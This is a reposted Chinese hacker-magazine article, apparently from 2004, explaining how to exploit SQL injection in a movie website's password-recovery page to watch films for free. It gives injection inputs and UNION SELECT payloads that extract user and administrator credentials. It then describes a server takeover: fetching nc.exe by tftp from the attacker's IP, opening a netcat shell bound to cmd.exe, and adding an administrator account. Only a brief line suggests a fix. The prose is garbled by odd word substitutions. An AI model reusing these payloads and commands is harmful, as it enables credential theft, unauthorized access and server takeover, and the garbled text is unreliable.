当前位置:七道奇文章资讯数据防范MSSQL防范
日期:2011-05-02 15:20:00  来源:本站整理

SQL注入奇招致胜 UNION查询轻松免费看片子[MSSQL防范]

赞助商链接



  本文“SQL注入奇招致胜 UNION查询轻松免费看片子[MSSQL防范]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

此文发表在2004年黑客X档案第4期 

周末无聊,同学想让我帮他下载一些片子看,我利落的承诺了.看了这么多期X档案,水平自然长进不少,也没事玩玩"鸡".这次想免费下载些片子,没问题(我知道N多片子程序有漏洞).闲话少说,切入正题.

我翻开Google,随便搜索了一下片子网站,点开了一个.看了一下界面,知道和金梅片子系统关联很大.金梅系统和"洞"网(7.0安全多啦,自己想的)差不多,也是有N多漏洞,比方注入啊,COOKIE拐骗什么的.我就在X档案03年11期看过一篇文章,写的是用ASC和MID函数对系统管理员帐户举行猜想.我也想用这种办法猜想,猜了半天都没猜对,真烦人,同学还在哪里等我哪,这不是很丢人.我决意找个简单的办法,还是读读源码吧!

下载了一个金梅三片子系统,看了一下,这么多个文件,头即刻大了.还是在自己电脑上运行一下吧.注册了一个用户,点了一下找回密码,别人说这里有漏洞.看了一下,象是有漏洞的界面,有三个参数,还直接把密码显示出来.好,看一下源码.

39        <% if request("myuserid")="" then %>

...
 

  58   <%else

            set rs=server.createobject("adodb.recordset")

            sql="select password from users where userid='"&request("myuserid")&"'and city='"&request("ask")&"'and adress='"&request("answer")&"'"

            rs.open sql,conn,1,1

            if rs.eof and rs.bof then%>

这里公然没过滤.好多人都想到了可以用上面的办法注入了.能不能有更简单的办法呢?

我细心考虑语句的情势以下:

select password from users where userid=‘‘ and city=‘‘ and adress='‘

假如用户名,密码提醒问题(city),密码提醒答案(adress)和表users一行匹配,便打印这行的password,并且是明文的.我想的历程就不写了,后来我想到了一种办法,就是操纵union查询.Access功效是很弱的,不能履行号令,不能导出文本,还不能注释.有个子查询可以操纵之外,也就剩下这个 union了.

[1] [2] 下一页  

怎么操纵呢?先在本机做实行.测试历程简单,直接写有所收获的后果.


如果知道了一个该网站的一个用户名(比方abc),可以这样操纵.

在"你注册问题"处填: abc' or  ‘1=1(假如用户名是bcd,就变成bcd' or ‘1=1)

密码提醒问题处随便填几个字母或数字,最好别有标记,简单影响后果: 比方字母a

密码提醒答案处随便填几个字母或数字,填个a

回车后就看到该用户的密码了,简单吧(如图一).

其实这样一来,上面的语句就变成:
 

select password from users where userid=‘abc'  or  ‘1=1‘ and city=‘a‘ and adress='a‘

呵呵,程序无条件的履行了,因为被 or ‘1=1'跳事背面的考证了.


但是网站用户名也不是简单得到的啊.别急,得到用户名一样简单.以下:


在"你注册问题"处随便处填几个字母或数字,最好别有标记,简单影响后果: 比方字母a

密码提醒问题处和上面一样,随便填:我也填个a

关键是在密码提醒答案:我填的是a' union select  userid  from users where oklook>=3 or '0

上面就是要找黄金用户的帐户名(如图二),看到用户名后再用前面的办法找到密码.

可以在where背面加很多参数并赋差别的值可以得到很多帐户.

按上面的填入后输入语句就变成了:

select password from users where userid=‘a‘ and city=‘a‘ and adress=' a' union select  userid  from users  where oklook>=3 or '0 ‘
 

细心的读者看到这大概已经想到怎样得到管理员的帐号和密码,不错,也很简单.我也不写历程了,直接写出语句以下:

得到帐号:
 
select password from users where userid=‘a‘ and city=‘a‘ and adress=' a' union select  name  from okwiantgo  where  id>=1 or '0 ‘

得到密码:

select password from users where userid=‘a‘ and city=‘a‘ and adress=' a' union select  pwd  from okwiantgo  where  id>=1 or '0 ‘


然后登陆就行了,途径格局为:

http://网站片子途径/findaccout.ASP?name=管理员帐号&pwd=管理员密码

回车,很轻松就进管理界面了.(如图三)

有时findaccount.asp大概被改名了,这时只能拿个黄金帐户了.

这个漏洞有很多片子程序有,有的程序表名不是okwiantgo(程序会报告64行属性不对),改成admin或password.,把上面的输入略微改正一下行了.这样一来不管是多复杂的密码,大概是中文密码都没问题.再猜管理员帐户的时刻也要多,where背面的条件多改变才行,不然大概得不到超级管理员.
 

这个漏洞利用很简单,危害极大,简单可以得到管理员帐户.假如系统配置不当,在upload/uploadmovie.asp答应上传ASP文件,系统就很简单换主人了.我曾经成功浸透过这样一个网站,简单历程论述以下.

上传一个ASP程序,发现该系统运行SQLSERVER,通过读源文件看到了sa的密码,用sqlexec衔接,tftp上传nc.exe.再次dir发现nc被删了,有防火强.用tftp上传nc.jpg必定万无一失, tftp  -i 我的IP get nc.exe nc.jpg,上传成功.在sqlexec运行

nc.jpg -l -p 99 -e  c\winnt\system32\cmd.exe

nc想必都很熟习了吧,上面就是再目标机械上开一个99端口监听,同时把cmd.exe重定向到这里,本地衔接nc.exe  -vv 目标IP   99,得到shell,并且是管理员权限.

输入 net user abc 123456 /add  &&  net  localgroup administrators abc /add

增添用户成功趁便加入管理员,&&意思是前面成功背面履行.该系统开着3389,省了我好多事情.


好了回到正题,这个漏洞存在80%以上片子程序中,在谷歌里搜索user/wantpws.asp,翻开后发现可以输入三个参数,且把密码直接显示的都有此漏洞.


修补办法,应当对三个参数举行严峻考证,并且把后果发送的到邮箱里更稳妥,有的网站是这样做的.


总结:我写此问的目的是想说好多问题要多想多试,一个漏洞操纵办法不只一种,我们要自己学会发现.入侵历程机动多样,我们应动头脑.大家免费看片子的同时可别搞破坏啊,任何后果与我无关.同时我也但愿看到这篇文章后,网站尽快更改.

上一页  [1] [2]    以上是“SQL注入奇招致胜 UNION查询轻松免费看片子[MSSQL防范]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:

  • 防备SQL注入式攻击
  • SQL注入漏洞全接触--高级篇(二)
  • SQL注入漏洞全接触--高级篇(一)
  • <b>SQL注入漏洞全接触--进阶篇(二)</b>
  • SQL注入漏洞全接触--进阶篇(一)
  • SQL注入漏洞全接触--入门篇(二)
  • SQL注入漏洞全接触--入门篇(一)
  • SQL Server利用程序中的高级SQL注入
  • SQL注入攻击及其防备检测技术研究
  • 闻名的SQL流量注入(SQL注入)攻击法
  • SQL注入奇招致胜 UNION查询轻松免费看片子
  • 安全入门:SQL注入漏洞全接触
  • 本文地址: 与您的QQ/BBS好友分享!
    • 好的评价 如果您觉得此文章好,就请您
        0%(0)
    • 差的评价 如果您觉得此文章差,就请您
        0%(0)

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    Copyright © 2020-2022 www.xiamiku.com. All Rights Reserved .